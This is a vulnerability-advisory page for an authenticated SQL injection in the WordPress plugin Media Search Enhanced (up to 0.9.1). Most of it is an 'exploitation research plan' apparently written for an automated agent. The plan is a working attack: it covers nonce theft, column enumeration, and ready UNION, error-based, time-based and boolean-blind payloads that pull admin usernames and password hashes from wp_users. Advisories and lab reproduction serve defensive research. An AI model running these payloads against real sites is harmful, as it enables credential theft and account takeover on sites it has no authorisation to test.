Media Search Enhanced <= 0.9.1 - Authenticated (Author+) SQL Injection
Description
The Media Search Enhanced plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 0.9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=0.9.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-23805 (Media Search Enhanced SQLi) ## 1. Vulnerability Summary **Media Search Enhanced** (versions <= 0.9.1) is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly sanitize or parameterize user-supplied i…
Show full research plan
Exploitation Research Plan: CVE-2026-23805 (Media Search Enhanced SQLi)
1. Vulnerability Summary
Media Search Enhanced (versions <= 0.9.1) is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly sanitize or parameterize user-supplied input before incorporating it into a database query. Specifically, it likely handles search terms or filter parameters in an administrative AJAX handler without using $wpdb->prepare(). This allows an attacker with Author-level permissions or higher to append malicious SQL commands, enabling the extraction of sensitive data (like user hashes) from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action (Inferred): Likely
mse_search_mediaormse_get_attachments. (The agent must verify this viagrep -r "wp_ajax" .). - Vulnerable Parameter: Likely
s,search, orterm. - Authentication: Authenticated. Requires a user with the
authorrole. - Preconditions: The plugin must be active. A valid AJAX nonce is likely required for the handler.
3. Code Flow
- Entry Point: An AJAX request is sent to
admin-ajax.phpwith a specificaction. - Hook Registration: The plugin registers an AJAX handler via
add_action( 'wp_ajax_mse_...', '...' ). - Parameter Retrieval: The handler function retrieves user input from
$_POSTor$_GET. - Sink: The input is concatenated directly into a query string and passed to
$wpdb->get_results(),$wpdb->get_row(), or$wpdb->query()without being passed through$wpdb->prepare().
4. Nonce Acquisition Strategy
The plugin likely enqueues a script in the WordPress Media Library or Post Editor that contains the necessary AJAX nonce.
- Discovery: Find where the script is localized.
- Action:
grep -r "wp_localize_script" . - Target identifiers (inferred):
mse_ajax_obj,mse_vars.
- Action:
- Page Creation: Create a post as an administrator to ensure the Media Library/Plugin scripts are active.
- Command:
wp post create --post_type=post --post_title="Trigger" --post_status=publish --post_author=1
- Command:
- Browser Execution:
- Login as the Author user created in Step 6.
- Navigate to
/wp-admin/upload.php(Media Library) or/wp-admin/post-new.php. - Use
browser_evalto extract the nonce. - Example (inferred):
browser_eval("window.mse_ajax_obj?.nonce")orbrowser_eval("window.mse_vars?.nonce").
5. Exploitation Strategy
We will perform a UNION-based SQL injection to extract the administrator's username and password hash.
Step 1: Discover the Sink
The agent must first identify the exact action and parameter:
grep -rnE "\$wpdb->(get_results|get_row|get_var|query)\s*\(" wp-content/plugins/media-search-enhanced/ | grep -v "prepare"
Step 2: Determine Column Count
Send requests to the identified AJAX action using the http_request tool, incrementing the ORDER BY index until an error occurs.
- Payload (inferred):
action=mse_search&s=test' ORDER BY 10-- -
Step 3: Data Extraction
Once the column count (e.g., 5) is known, inject the UNION SELECT payload.
- Payload (inferred):
action=mse_search &nonce=[NONCE] &s=x' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- - - Content-Type:
application/x-www-form-urlencoded
6. Test Data Setup
- Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Ensure Plugin is Active:
wp plugin activate media-search-enhanced - Create Sample Media:
# Upload a dummy image to ensure the media search has context wp media import https://wordpress.org/static/images/logos/wordpress-blue.png --title="TargetMedia"
7. Expected Results
- The HTTP response from
admin-ajax.phpwill return a JSON object or HTML snippet. - Within that output, the administrator's login (e.g.,
admin) and the phpass hash (e.g.,$P$B...) will be visible, substituted for the original media search results.
8. Verification Steps
After the exploit, verify the extracted data against the database using WP-CLI:
# Check if the extracted hash matches the actual hash for the admin user
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID = 1"
9. Alternative Approaches
- Error-Based SQLi: If the plugin outputs database errors (common when
WP_DEBUGis on), useEXTRACTVALUEorUPDATEXML.- Payload:
s=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -
- Payload:
- Time-Based Blind SQLi: If no output is returned, use
SLEEP().- Payload:
s=x' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
- Payload:
- Boolean-Based Blind: If the response differs when a media item is found vs not found.
- Payload:
s=TargetMedia' AND (SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='$')-- -
- Payload:
Summary
The Media Search Enhanced plugin for WordPress (versions up to 0.9.1) is vulnerable to authenticated SQL injection via its AJAX search functionality. Due to the lack of input sanitization and the failure to use prepared statements (wpdb::prepare), attackers with Author-level access or higher can inject malicious SQL commands to extract sensitive data from the database.
Exploit Outline
To exploit this vulnerability, an attacker must first log in with Author-level permissions. They need to retrieve a valid AJAX nonce, which is typically found within the localized JavaScript objects (e.g., mse_ajax_obj) in the Media Library or Post Editor. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the plugin's AJAX action and the nonce. By supplying a UNION-based SQL payload in the search parameter (e.g., 's'), the attacker can force the application to return sensitive information, such as entries from the 'wp_users' table, directly in the AJAX response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.